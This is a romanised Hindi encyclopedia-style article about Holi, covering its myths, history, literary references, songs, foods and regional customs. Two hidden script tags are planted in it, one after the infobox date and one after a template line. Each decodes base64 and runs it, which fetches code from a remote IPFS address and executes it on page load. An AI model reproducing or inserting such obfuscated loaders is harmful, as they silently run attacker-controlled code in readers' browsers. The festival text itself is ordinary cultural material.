होली

	holi
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any nam	dol yatra ya dol poornima (pashchim bangal), kaman podigee (tamilanadu), hola mohalla (panjab), kamana habba (karnatak), phagua (bihar), rangapanchami (maharashtr), shimago (gova), dhuleandi (hariyana), govianda holi (gujarat), yosaang holi (manipur) adi.
anuyayi	hindoo, bharatiy, bharatiy pravasi
uddeshy	dharmik nishtha, samajik ekata, manoranjan
prarambh	pauranik kal
tithi	phalgun poornima
utsav	rang khelana, hu dadang, mauj-masti
anushthan	holika dahan
prasiddhi	latthamar holi (barasana)
sanbandhit lekh	braj mean holi, holika, holika dahan, krishna, radha, gopi, hiranyakashipu, prahlad, gulal, daooji ka huranga, phalen ki holi, rangabharani ekadashi adi.
varsh 2024	sal 2024 mean holika dahan shubh muhoort 24 march ko rat 11 bajakar 13 minat se der rat 12 bajakar 27 minat tak hai. 25 march ko holi kheli jayegi.
adyatan‎	16:34, 11 faravari 2024 (IST)<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

holi bharat ke pramukh char tyoharoan (dipavali, rakshabandhan, holi aur dashahara) mean se ek hai. holi jahaan ek or samajik evan dharmik hai, vahian rangoan ka bhi tyohar hai. aval vriddh, nar- nari sabhi ise b de utsah se manate haian. isamean jatibhed-varnabhed ka koee sthan nahian hai. is avasar par lak diyoan tatha kandoan adi ka dher lagakar holikapoojan kiya jata hai. phir usamean ag lagayi jati hai. poojan ke samay mantr uchcharan kiya jata hai.

itihas

prachalit manyata ke anusar yah tyohar hiranyakashipu ki bahan holika ke mare jane ki smriti mean bhi manaya jata hai. puranoan mean varnit hai ki hiranyakashipu ne apani bahan holika varadan ke prabhav se nity agnisnan karati aur jalati nahian thi hiranyakashipu ne apani bahan holika se prahlad ko god mean lekar agnisnan karane ko kaha. usane samajha ki aisa karane se prahlad agni mean jal jaega tatha holika bach jaegi. holika ne aisa hi kiya, kiantu holika jal gayi, prahlad bach gaye. holika ko yah smaran hi nahian raha ki agni snan vah akele hi kar sakati hai. tabhi se is tyohar ke manane ki pratha chal p di.

arambhik shabdaroop

yah bahut prachin utsav hai. isaka arambhik shabdaroop holaka tha.^[1] bharat mean poorvi bhagoan mean yah shabd prachalit tha. jaimini evan shabar ka kathan hai ki hola ka sabhi aryo dvara sampadit hona chahie. kathakagrihy^[2] mean ek sootr hai 'raka hola ke', jisaki vyakhya tikakar devapal ne yoan ki hai-'hola ek karm-vishesh hai jo striyoan ke saubhagy ke lie sampadit hota hai, us krity mean raka (poornachandr) devata hai.'^[3] any tikakaroan ne isaki vyakhya any roopoan mean ki hai. hola ka un bis kri daoan mean ek hai jo sampoorn bharat mean prachalit haian. isaka ullekh vatsyayan ke kamasootr^[4] mean bhi hua hai jisaka arth tikakar jayamangal ne kiya hai. phalgun ki poornima par log shrriang se ek-doosare par rangin jal chho date haian aur sugandhit choorn bikherate haian. hemadri^[5] ne brihadyam ka ek shlok udbhrit kiya hai. jisamean holika-poornima ko hutashani (alakaj ki bhaanti) kaha gaya hai. liang puran mean aya hai- 'phalgun poornima ko 'phalgunika' kaha jata hai, yah bal-kri daoan se poorn hai aur logoan ko vibhooti (aishvary) dene vali hai.' varah puran mean aya hai ki yah 'patavas-vilasini' (choorn se yukt kri daoan vali) hai. ^[6]

shatabdiyoan poorv se holika utsav

thumb|bazar mean pichakariyaan jaimini evan kathakagrihy mean varnit hone ke karan yah kaha ja sakata hai ki eesa ki kee shatabdiyoan poorv se holaka ka utsav prachalit tha. kamasootr evan bhavishyottar puran ise vasant se sanyukt karate haian, at: yah utsav poornimant ganana ke anusar varsh ke ant mean hota tha. at: holika hemant ya patajh d ke ant ki soochak hai aur vasant ki kamapremamay lilaoan ki dyotak hai. mastibhare gane, nrity evan sangit vasantagaman ke ullasapoorn kshanoan ke parichayak haian. vasant ki anandabhivyakti rangin jal evan lal rang, abir-gulal ke parasparik adan-pradan se prakat hoti hai. kuchh pradeshoan mean yah rang yukt vatavaran holika ke din hi hota hai, kintu dakshin mean yah holika ke paanchavean din (rang-panchami) manayi jati hai. kahian-kahian rangoan ke khel pahale se arambh kar diye jate haian aur bahut dinoan tak chalate rahate haian; holika ke poorv hi 'pahunee' mean aye hue log ek-doosare par pank (kich d) bhi pheankate haian. ^[7] kahi-kahian do-tin dinoan tak mitti, pank, rang, gan adi se log matavale hokar dal bana kar holi ka hu dadang machate haian, s dakean lal ho jati haian. kahian-kahian log bhadde majakoan, ashlil ganoan se apani kamechchhaoan ki bahy tripti karate haian. vastav mean yah utsav prem karane se sambandhit hai, kintu shisht janoan ki nariyaan in dinoan bahar nahian nikal patian, kyoanki unhean bhay rahata hai ki log bhaddi galiyaan n de baithean. shri gupte ne apane lekh^[8] mean prakat kiya hai ki yah utsav eejipt (misr) ya gris (yoonan) se liya gaya hai. kintu yah bhramak drishtikon hai. lagata hai, unhoanne bharatiy prachin granthoan ka avalokan nahian kiya hai, doosare, ve is vishay mean bhi nishchit nahian haian ki is utsav ka udgam mistr se hai ya yoonan se. unaki dharana ko gambhirata se nahian lena chahie.

holika

hemadri^[9] ne bhavishyottar^[10] se uddharan dekar ek katha di hai. yudhishthir ne krishna se poochha ki phalgun-poornima ko pratyek gaanv evan nagar mean ek utsav kyoan hota hai, pratyek ghar mean bachche kyoan kri damay ho jate haian aur holaka kyoan jalate haian, usamean kis devata ki pooja hoti hai, kisane is utsav ka prachar kiya, isamean kya hota hai aur yah 'adada' kyoan kahi jati hai. [[chitr:Holika-Prahlad-1.jpg|thumb|prahlad ko god mean bithakar baithi holika|220px|left]] krishna ne yudhishthir se raja raghu ke vishay mean ek kianvadanti kahi. raja raghu ke pas log yah kahane ke lie gaye ki 'dhondha' namak ek rakshasi hai jise shiv ne varadan diya hai ki use dev, manav adi nahian mar sakate haian aur n vah astr shastr ya ja da ya garmi ya varsha se mar sakati hai, kintu shiv ne itana kah diya hai ki vah kri dayukt bachchoan se bhay kha sakati hai. purohit ne yah bhi bataya ki phalgun ki poornima ko ja de ki rritu samapt hoti hai aur grishm rritu ka agaman hota hai, tab log hansean evan anand manayean, bachche lak di ke tuk de lekar bahar prasannatapoorvak nikal p dean, lak diyaan evan ghas ekatr karean, rakshoghn mantroan ke sath usamean ag lagayean, taliyaan bajayean, agni ki tin bar pradakshina karean, hansean aur prachalit bhasha mean bhadde evan ashlil gane gayean, isi shoragul evan attahas se tatha hom se vah rakshasi maregi. jab raja ne yah sab kiya to rakshasi mar gayi aur vah din adada ya holika kaha gaya. age aya hai ki doosare din chaitr ki pratipada par logoan ko holikabhasm ko pranam karana chahie, mantrochcharan karana chahie, ghar ke praangan mean vargakar sthal ke madhy mean kam-pooja karani chahie. kam-pratima par sundar nari dvara chandan-lep lagana chahie aur pooja karane vale ko chandan-lep se mishrit amr-baur khana chahie. isake uparant yathashakti brahmanoan, bhatoan adi ko dan dena chahie aur 'kam devata mujh par prasann hoan' aisa kahana chahie. isake age puran mean aya hai- 'jab shukl paksh ki 15vian tithi par patajh d samapt ho jata hai aur vasant rritu ka prat: agaman hota hai to jo vyakti chandan-lep ke sath amr-manjari khata hai vah anand se rahata hai.'

holika dahan

[[chitr:Holi-Holika-Dahan-Mathura.jpg|holika dahan, mathura|thumb|180px]]

REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

poorn chandrama (phalgunapoornima) ke din hi praranbh hota hai. is din sayankal ko holi jalaee jati hai. isake ek mah poorv arthath magh poornima ko 'erand' ya goolar vriksh ki tahani ko gaanv ke bahar kisi sthan par ga d diya jata hai, aur us par lak diyaan, sookhe upale, khar-patavar adi charoan se ekatr kiya jata hai aur phalgun poornima ki rat ya sayankal ise jalaya jata hai. paranpara ke anusar sabhi log alav ke charoan or ekatrit hote haian. [[chitr:Radha-Krishna-Holi-Barsana-Mathura-12.jpg|thumb|left|150px|radha-krishna ki chhavi mean brajavasi, barasana]] isi alav ko holi kaha jata hai. holi ki agni mean sookhi pattiyaan, tahaniyaan, v sookhi lak diyaan dali jati haian, tatha log isi agni ke charoan or nrity v sangit ka anand lete haian.

holi aur radha-krishna ki katha

bhagavan shrikrishna to saanvale the, parantu unaki atmik sakhi radha gauravarn ki thi. isalie balkrishna prakriti ke is anyay ki shikayat apani maan yashoda se karate tatha isaka karan janane ka prayatn karate. ek din yashoda ne shrikrishna ko yah sujhav diya ki ve radha ke mukh par vahi rang laga dean, jisaki unhean ichchha ho. natakhat shrikrishna yahi kary karane chal p de. ap chitroan v any bhakti akritiyoan mean shrikrishna ke isi krity ko jisamean ve radha v any gopiyoan par rang dal rahe haian, dekh sakate haian. yah premamayi shararat shighr hi logoan mean prachalit ho gee tatha holi ki paranpara ke roop mean sthapit huee. isi rritu mean log radha v krishna ke chitroan ko sajakar s dakoan par ghoomate haian. mathura ki holi ka vishesh mahattv hai, kyoanki mathura mean hi to krishna ka janm hua tha.

mathura holi ke vibhinn drishy

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155px| holi, dvarikadhish mandir, mathura

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holi aur dhuandhi ki katha

[[chitr:Baldev-Holi-Mathura-21.jpg|thumb|220px|daooji mandir ka huranga, baladev]] bhavishyapuran mean varnit hai ki satyayug mean raja raghu ke rajy mean mali namak daity ki putri dhoandha ya dhuandhi thi. usane shiv ki ugr tapasya ki. shiv ne var maangane ko kaha. usane var maanga- prabho! devata, daity manushy adi mujhe mar n sakean tatha astr-shastr adi se bhi mera vadh n ho. sath hi din mean, ratri, mean shitakal mean, ushnakal tatha varshakal mean, bhitar-bahar kahian bhi mujhe kisi se bhay nahian ho.' shiv ne tathastu kaha tatha yah bhi chetavani di ki tumhean unmatt balakoan se bhay hoga. vahi dhoandha namak rakshasi balakoan v praja ko pi dit karane lagi. 'adada' mantr ka uchcharan karane par vah shaant ho jati thi. isi se use adada bhi kahate haian. is prakar bhagavan shiv ke abhishap vash vah gramin balakoan ki shararat, galiyoan v chillane ke age vivash thi. aisa vishvas kiya jata hai ki holi ke din hi sabhi balakoan ne apani ekata ke bal par age badhakar dhuandhi ko gaanv se bahar dhakela tha. ve zor-zor se chillate hue tatha chalaki se usaki or badhate hi gaye. yahi karan hai ki is din navayuvak kuchh ashisht bhasha mean hansi majak kar lete haian, parantu koee unaki bat ka bura nahian manata.

holi ki prachin kathaean

ek kahani yah bhi hai ki kans ke nirdesh par jab rakshasi pootana shrikrishna ko marane ke lie unako vishapoorn dugdhapan karana shuroo kiya lekin shrikrishna ne doodh pite-pite use hi mar dala. kahate haian ki usaka sharir bhi lupt ho gaya to gaanv valoan ne pootana ka putala bana kar dahan kiya aur khushiyaan manayi. tabhi se mathura me holi manane ki paranpara hai.^[11]

thumb|250px|left

ek any mukhy dharana hai ki himalay putri parvati bhagavan shankar se vivah karana chahati thi. chooanki shankar ji tapasya mean lin the isalie kamadev parvati ki madad ke lie ae. kamadev ne apana premavan chalaya jisase bhagavan shiv ki tapasya bhang ho gee. shivashankar ne krodh mean akar apani tisara netr khol diya. jisase bhagavan shiv ki krodhagni mean jalakar kamadev bhasm ho ge. phir shankar ji ki nazar parvatiji par gee. shivaji ne parvati ji ko apani patni bana liya aur shiv ji ko pati ke roop mean pane ki parvati ji ki aradhana saphal ho gee. holi ke agni mean vasanatmak akarshan ko pratikatmak roop se jalakar sachche prem ke vijay ke roop mean yah tyohar vijayotsav ke roop me manaya jata hai.^[11]
manusmriti mean isi din manu ke janm ka ullekh hai. kaha jata hai manu hi is prithvi par ane vale sarvapratham manav the. isi din nar-narayanake janm ka bhi varnan hai jinhean bhagavan vishnu ka chautha avatar mana jata hai.^[11]
satayug mean bhavishyotarapooran nagar mean chhote se lekar b doan ko sardi-jukam jaisi bimariyaan lag gee. vahaan ke log dyuandha nam ki rakshasi ka prabhav man rahe the. isase raksha ke lie ve log ag ke pas rahate the. samanyataur par mausam parivartan ke samay logoan ko is tarah ki bimariyaan ho jati haian, jisame agni rahat pahuanchati hai. ‘shami’ ka pe d jise agni-shakti ka pratik mana gaya tha, use jalaya gaya aur agale din satyayugin raja raghu ne holi manayi.^[11]

is tarah dekhate haian ki holi vibhinn yugoan mean tarah-tarah se aur anek namoan se manayi gayi aur aj bhi manaee ja rahi hai. is tarah kah sakate haian ki asaty par saty ki ya buraee par achchhaee par jit ki khushi ke roop me holi manayi jati hai. isake rango me rang kar ham tamam khushiyoan ko atmasat kar lete haian.

sahity mean holi ki jhalak

sanskrit shabd holakka se holi shabd ka janm hua hai. vaidik yug mean (holakka) ko aisa ann mana jata tha, jo devoan ka mukhy roop se khady-padarth tha. bangal me holi ko dol yatra ya jhoolan parv, dakshin bharat mean kamathanam, madhy pradesh ke chhattisagadh mean ’gol badhedo’ nam se utsav manaya jata hai aur uttaraanchal mean lok sangit v shastriy sangit ki pradhanata hai. 'priyadarshika', 'ratnavali', 'kumar sambhav' sabhi mean rang ka varnan aya hai. kalidas rachit 'rritusanhar' mean poora ek sarg hi 'vasantotsav' ko arpit hai. 'bharavi', 'magh' jaise sanskrit kaviyoan ne bhi vasant aur holi parv ka ullekh apani rachanaoan mean kiya hai. 'prithviraj raso' mean holi ka varnan hai. mahakavi sooradas ne vasant evan holi par 78 pad likhe haian. padmakar ne bhi holi ko lekar kee masti bhare pad likhe haian jinamean prakriti aur dharati mata ke holi khelane ke bhavoan ko prakat kiya gaya hai. ^[12]

urdoo sahity mean holi

[[chitr:Krishna Janm Bhumi Holi Mathura 1.jpg|180px|holi, krishna janmabhoomi, mathura]]

holi, krishna janmabhoomi, mathura

[[chitr:Krishna Janm Bhumi Holi Mathura 3.jpg|180px|holi, krishna janmabhoomi, mathura]]

holi, krishna janmabhoomi, mathura

180px|krishna holi lila

krishna holi lila

180px| holi, raman reti, mahavan

holi, raman reti, mahavan

mugal kal mean rache ge urdoo sahity mean phayaj dehalavi, hatim, mir, kuli kutubashah, mahazoor, bahadur shah zafar, nazir, atish, khvaja haidar ali 'atish', iansha aur taanba jaise kee nami shayaroan ne holi ki masti aur radha krishna ke nishchhal pyar ko apani shayari mean bahut khoobasoorati se piroya hai. urdoo ke jane mane shayar najir akabarabadi par urdoo adab ke bharat ki sanskriti aur paranparao ka zabardast asar tha. 150 sal pahale likhi gee unaki rachanaean najir ki bani ke nam se prasiddh hai unhoanne jis masti ke sath holi ka varnan kiya hai usako padhakar hi us daur mean kheli jane vali holi ki masti ki mahak madamast kar deti hai.

urdoo ke jane mane shayar najir akabarabadi ki ek kavita

jab thahari lapadhap hori ki aur chalane lagi pichakari bhi.
kuchh surkhi rang gulaloan ki, kuchh kesar ki jarakari bhi..
hori khelean hans hans manamohan aur unase radha pyari bhi.
yah bhigi sar se paanv talak aur bhige kishan murari bhi..
daph baje, rag aur rang hue, holi khelan ki jhamakan mean.
gulashor gulal aur rang p de huee dhoom kadam ki chhaiyan mean..^[13]

amir khusaro ne holi ko apane soophi aandaz mean kuchh aise dekha hai-

daiyya re mohe bhijoya ri, shah nijam ke rang mean
kap de rang ke kuchh n hot hai, ya rang mean tan ko duboya ri.^[13]

aantim mugal badashah bahadur shah japhar ke shabdoan mean holi ki masti ka rang kuchh is tarah dikhaee deta hai

kyoan mo pe rang ki mari pichakari
dekho kuanvaraji dooangi maian gari...^[13]

bhakti kal mean holi

bhaktikal ke mahakavi ghananand ne holi ki masti ko apane shabdoan mean kuchh yoan piroya hai-

priy deh achheh bhari duti deh, diyai tarunaee ke teh tuli.
ati hi gati dhir samir lagai, mridu hemalata jimi jati duli.
ghananand khel ulail datai, bil saian, khul saian lat bhoomi jhuli.
sudhi suandar bhal pai mauanhani bich, gulal ki kaisi khuli tikuli.^[13]

bhakti kal ke mahakavi padmakar ne krishna aur radha ki holi ki masti ko kuchh yoan bayan karate haian-

phag ki mir amirani jyoan, gahi goviand lai gee bhitar gori,
may kari man ki padmakar, oopar nay abir ki jhori.
chhin pitanbar kammar te, subida dee mid kapolan rori,
nain nachay muskay kahean, lala phir aiyo khelan hori.^[13]

bharateanduji bhi to phaguniya jate haian aur phir gate bhi haian-

gale mujhako laga lo ai mere diladar holi mean,
bujhe dil ki lagi meri bhi e yar holi mean.^[13]

phag utsav

phalgun ke mah rangabharani ekadashi se sabhi mandiroan mean phag utsav prarambh hote haian jo dauj tak chalate haian. dauj ko baldev (daooji) mean huranga hota hai. barasana, nandagaanv, jav, bathain, jatipura, anyaur adi mean bhi holi kheli jati hai . yah braj vishesh tyohar hai yoan to puranoan ke anusar isaka sambandh puranakathaoan se hai aur braj mean bhi holi isi din jalaee jati hai. isamean yajn roop mean navin ann ki balean bhooni jati hai. prahlad ki katha ki prerana isase milati haian. holi dahan ke din kosi ke nikat phalain gaanv mean prahlad kund ke pas bhakt prahlad ka mela lagata hai. yahaan tez jalati huee holi mean se nange badan aur nange paanv panda nikalata hai. [[chitr:Holi Barsana Mathura 1.jpg|latthamar holi, barasana |thumb|250px]] shrikrishna radha aur gopiyoan–gvaloan ke bich ki holi ke roop mean gulal, rang kesar ki pichakari se khoob khelate haian. holi ka arambh phalgun shukl 9 barasana se hota hai. vahaan ki lathamar holi jag prasiddh hai. dasavian ko aisi hi holi nandagaanv mean hoti hai. isi ke sath poore braj mean holi ki dhoom machati hai. dhoolean di ko pray: holi poorn ho jati hai, isake bad hurange chalate haian, jinamean mahilayean rangoan ke sath lathiyoan, ko doan adi se purushoan ko gherati haian. yah sab dharmik vatavaran hota hai. holi ya holika anand evan ullas ka aisa utsav hai jo sampoorn desh mean manaya jata hai. utsav manane ke dhang mean kahian-kahian antar paya jata hai. bangal ko chho dakar holika-dahan sarvatr dekha jata hai. bangal mean phalgun poornima par krishna-pratima ka jhoola prachalit hai kintu yah bharat ke adhikaansh sthanoan mean nahian dikhaee p data. is utsav ki avadhi vibhinn prantoan mean vibhinn hai. is avasar par log baans ya dhatu ki pichakari se rangin jal chho date haian ya abir-gulal lagate haian. kahian-kahian ashlil gane gaye jate haian. isamean jo dharmik tattv hai vah hai bangal mean krishna-pooja karana tatha kuchh pradeshoan mean purohit dvara holika ki pooja karavana. log holika dahan ke samay parikrama karate haian, agni mean nariyal pheankate haian, gehooan, jau adi ke danthal pheankate haian aur inake adhajale aansh ka prasad banate haian. kahian-kahian log hatheli se mukh-svar utpann karate haian.

barasana holi ke vibhinn drishy

duleandi

thumb|150px|bazar mean vibhinn rango ka drishy yah tyohar agami din, rang divas ke roop mean manaya jata hai. is parv par kishor-kishoriyaan, vayask v vriddh sabhi ek-doosare par gulal barasate haian tatha pichakariyoan se gile rang lagate haian. paranparik roop se keval prakritik v j di-bootiyoan se nirmit rangoan ka prayog hota hai, parantu aj kal kritrim rangoan ne inaka sthan le liya hai. ajakal to log jis-kisi ke sath bhi shararat ya majak karana chahate haian. usi par rangile jhag v rangoan se bhare gubbare marate haian. prem se bhare yah - narangi, lal, hare, nile, baiangani tatha kale rang sabhi ke man se katuta v vaimanasy ko dho dete haian tatha samudayik mel-jol ko badhate haian. is din sabhi ke ghar pakavan v mishtan banate haian. log ek- doosare ke ghar jakar gale milate haian aur pakavan khate haian.

svadisht vyanjan

mishthan is parv ki visheshata haian. uttar bharat mean ap gujhiya ka anand le sakate haian v pashchim mean, maharashtr mean pooranapoli ka. thandaee (shital pey jise doodh, bhaang, badam milakar ghotakar banaya jata hai) bhaang ( yah ek nashile paudhe ki pattiyoan ka ghol hai) parantu is mishran se savadhan hi rahana chahie, thumb|gujhiya|left kyoanki yah pey holi par prayah sabhi jagah banaya v viparit kiya jata hai. isaka nasha jaldi utarata nahian, aur bhookh badhati hi jati hai, isake pine se dimag par bura prabhav p data hai.

holi ke git

holi rangoan, anand aur ullas ka tyohar hai. b aaulivud ke holi git isi anand aur ullas se bhare hote haian. 'holi aee re kanhaee' (madar iandiya), 'are ja re hat natakhat' (navarang), 'aj na chho deange bas hamajoli' (kati patang), 'holi ke din' (shole), 'rang barase' (silasila), 'mal de gulal mohe, aee holi aee re' (kamachor), 'aang se aang lagana sajan' (dar) aur 'holi khelean raghuvira' (bagaban) holi ke kuchh lokapriy git haian. isake alava 'holi ke rang mean', 'rang barase bhige chunar vali' aur 'holi khelean raghuvira...' hindi filmoan ke kuchh aise lokapriy git haian jo rangoan ke tyohar holi ki bhavana ko b de parde par jivant karate haian, lekin aj holi ke gitoan ka abhav dekha ja raha hai aur aise mean log purane gitoan mean hi holi ka maja lene ko majaboor haian. [[chitr:Holi.jpg|thumb|holi ke git 'rang barase' ke dauran mahanayak amitabh bachchan aur rekha]] hindi filmoan mean aya holi ka aantim git 'doo mi e phevar.. lets ple holi' hai. film 'vakt-res aangeanst taim' (2005) ka yah git akshay kumar aur priyanka chop da par filmaya gaya hai. is git mean holi ke rang, oorja sahit sab kuchh hai. isake bad holi ka koee git nahian aya hai.^[14] vidiyo k diyaan- rang barase bhige chunar vali, holi khele raghubira avadh mean

any prantoan mean holi

anandollas se paripoorn evan ashlil gan-nrityoan mean lin log jab any prantoan mean holika ka utsav manate haian tab bangal mean dolayatra ka utsav hota hai. dekhie shoolapanikrit 'dolayatravivek.' yah utsav paanch ya tin dinoan tak chalata hai. poornima ke poorv chaturdashi ko sandhya ke samay mandap ke poorv mean agni ke samman mean ek utsav hota hai. govind ki pratima ka nirman hota hai. ek vedika par 16 khambhoan se yukt mandap mean pratima rakhi jati hai. ise panchamrit se nahalaya jata hai, kee prakar ke krity kiye jate haian, moorti ya pratima ko idhar-udhar sat bar dolaya jata hai. pratham din ki prajvalit agni utsav ke ant tak rakhi jati hai. ant mean pratima 21 bar dolaee ya jhulaee jati hai. aisa aya hai ki indradyumn raja ne vrindavan mean is jhoole ka utsav arambh kiya tha. is utsav ke karane se vyakti sabhi papoan se mukt ho jata hai. shoolapani ne isaki tithi, prahar, nakshatr adi ke vishay mean vivechan kar nishkarsh nikala hai ki dolayatra poornima tithi ki upasthiti mean hi honi chahie, chahe uttaraphalguni nakshatr ho ya n ho. holikotsav ke vishay mean ni. si.^[15], smritikaustubh^[16] adi nibandhoan mean varnan aya hai.

desh ke kee alag-alag prantoan mean holi ko alag alag namoan se jana jata hai aur b de hi nirale aandajoan mean manaya jata hai. aiye janate hai ki kis prant ka kya hai nirala aandaz holi bharat hi nahian balki pure vishv ke kone kone mean manaee jati hai bas dhang alag hai bharat ke prantoan mean holi ke dhang kya hai aur holi rang kya hai aiye janate haian ki kis prant mean kaise manati hai holi? ^[17]

aandhr pradesh ki holi

200px|holi ka anand uthate log

200px|holi ka anand uthate bachche

200px|holi ka anand uthate log

200px|holi, barasana

vaise to dakshin bharat mean uttar bharat ki tarah ki rangoan bhari holi nahian manaee jati hai phir bhi sabhi log harshollas mean shamil rahate hai uttar bharat se itar dakshin mean navayuvak sham ko ekatrit ho kar gulal se holi khelate hai aur b doan ka ashirvad lete hai. aandhr pradesh ke banjara janajatiyoan ka holi manane ka apana nirala tarika hai. yah log apane vishisht aandaj mean manoram nrity prastut karate hai.

tamilanadu ki holi

isi prakar tamilanadu mean holi ko kamavilas, kaman pandigaee evan kam - dahan ke nam se jana jata hai, yahaan ke logo ka manana hai ki kamadev ke tir ke karan hi shiv ko parvati se prem hua tha aur bhagavan shiv ka vivah devi parvati se hua tha, magar tir lagane se krodhit shiv ji ne kamadev ko bhasm kar diya tha tab rati ke agrah par devi parvati ne unhean punarjivit kiya aur jis din kamadev punarjivit hue us din ko holi ke roop mean manate hai. isilie tamilanadu mean holi ko kam pandigaee ke nam se jana jata hai. yahaan holi ko prem ke parv ke roop mean manaya jata hai.^[17]

uttar pradesh ki holi

uttar pradesh mean holi ka tyohar b de hi harsh aur ullas se manaya jata hai. uttar pradesh ke kone kone mean holi ki dhoom dekhate hi banati hai , holi ke din kya b de aur kya chhote sabhi ko har prakar ke majak bazi ki poorn chhoot hoti hai aur log isaka jamakar lupht bhi uthate haian. chhe d- chha d, chuhal bazi, git sangit yahaan tak ki gali galoj tak ko bhi jayaz mana jata hai, yahaan holi par rang aur gulal ke alava tarah tarah ke vyanjan ka bhi bolabala rahata hai gujhiya, dahi v de, mathari aur in sab se badh kar thandaee aur usake sath bhaang rangoan ke suroor ko doguna kar deti hai, rat ko holika dahan ke bad agale din subah rangoan ke sath gili holi kheli jati hai, aur sham ko abir aur gulal se samaan sarabor hota hai , uttar pradesh mean vrindavan aur mathura ki holi ka apana hi mahattv hai , is tyohar ko kisano dvara phasal katane ke utsav ek roop mean bhi manaya jata hai. gehooan ki baliyoan ko ag mean rakh kar bhoona jata hai aur phir use khate hai , holi ki agni jalane ke pashchat bachi rakh ko rog pratirodhak bhi mana jata hai. in sab ke alava uttar pradesh ke mathura, vrindavan kshetroan ki holi to vishvaprasiddh hai. mathura mean barasane ki holi prasiddh hai. barasana shri radha ji ka gaanv hai jo mathura shahar se qarib 42 kimi andar hai, yahaan ek anokhi holi kheli jati ahi jisaka nam hai latthamar holi barasane mean aisi paranpara haian ki shri krishna ke gaanv nandagaanv ke purush barasane mean ghusane aur radha ji ke mandir mean dhvaj phaharane ki koshish karate hai aur barasane ki mahilaean unhean aisa karane se rokati hai aur dandoan se pitati hai aur agar koee mard pak d jaye to use mahilaoan ki tarah shriangar karana hota hai aur sab ke samukh nrity karana p data hai , phir isake agale din barasane ke purush nandagaanv ja kar vahaan ki mahilaoan par rang dalane ki koshish karate haian, yah holi utsav qarib sat dinoan tak chalata hai. isake alava ek aur ullas bhari holi hoti hai, vo hai vrindavan ki holi yahaan baanke bihari mandir ki holi aur gulal kuand ki holi bahut mahattvapoorn hai vrindavan ki holi mean poora samaan pyar ki khushi se sugandhit ho uthata hai kyoanki aisi manyata hai ki holi par rang khelane ki paranpara shri radhaji v shri krishna ji dvara hi shuroo ki gee thi.^[17]

bangal aur u disa ki holi

bangal mean holi ko dol yatra v dol poornima kahate hai aur holi ke din shri radha aur krishna ki pratimaoan ko doli mean baithakar poore shahar mean ghumate hai aur aurate usake age nrity karati hai yah bhi apane ap mean ek anoothi holi hai bangal mean holi ko basant parv kahate hai. isaki shuruat ravindr nath taigor ne shanti niketan mean ki thi. u disa mean bhi holi ko dol poornima kahate hai aur bhagavan jagannath ji ki doli nikali jati hai.

rajasthan ki holi

yahaan mukhyat: tin prakar ki holi hoti hai. mali holi- isamean mali jat ke mard auratoan par pani dalate hai aur badale mean auratean mardoan ki lathiyoan se pitaee karati hai. isake alava godaji ki gair holi aur bikaner ki dolachi holi bhi behad khubasoorat hoti haian. ^[17]

panjab ki holi

panjab mean holi ko hola mohalla kahate hai aur ise nihang sikh manate hai. is mauke par ghu dasavari, talavarabazi adi ka ayojan hota hai.

hariyana ki holi

hariyana ki holi bhi barasane ki latthamar holi jaisi hi hoti hai. bas farq sirf itana hai ki yahaan devar bhabhi ko rangane ki koshish karate hai aur badale mean bhabhi devar ki lathiyoan se pitaee karati hai. yahaan holi ko dulhandi kahate hai.

dilli valoan ki dilavali holi

dilli ki holi to sabase nirali hai kyoanki rajadhani hone ki vajah se yahaan par sabhi jagah ke log apane dhang holi manate hai jo apasi samarasata aur sauhard ka svaroop hai, vaise dilli mean netao ki holi ki bhi khoob dhoom hoti hai.^[17]

karnatak mean holi samaroh

karnatak mean yah tyohar kamana habba ke roop mean manaya jata hai. is din bhagavan shiv ne kamadev ko apane tisare netr se jala diya tha. is din koo da-karakat phate vastr, ek khuli jagah ekatrit kie jate haian tatha inhean agni ko samarpit kiya jata hai. as-pas ke sabhi p dosi is utsav ko dekhane ate haian.

isake alava bihar ki phagua holi, maharashtr ki rangapanchami, gova ki shimago (darasal koankani boli mean holi ko shimago kahate hai ), gujarat ki govianda holi, aur pashchimi poorv ki bihi janajati ki holi ki dhoom bhi nirali hai.

prem ka tyohar

thumb|450px holi basant v prem-pranav ka parv hai tatha dharm ki adharm par vijay ka pratik hai. yah rangoan ka, has-parihas ka bhi parv hai. yah vah tyohar hai, jisamean log 'kya karana hai, tatha kya nahian karana' ke jal se alag hokar svayan ko svatantr mahasoos karate haian. yah vah parv hai, jisamean ap poorn roop se svachchhand ho, apani pasand ka kary karate haian, chahe yah kisi ko chhe dana ho ya ajanabi ke sath bhi tho di shararat karani ho. in sabaka sarvottam roop yah hai ki sabhi katuta, krodh v niradar bura n mano holi hai ki ooanchi dhvani mean doobakar ghul-mil jata hai. bura n mano holi hai ki karatal dhvani holi ki lanbi parampara ka abhinn aang hai.

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baladev holi ke vibhinn drishy

160px|holi, daooji mandir, baladev

155px|holi, daooji mandir, baladev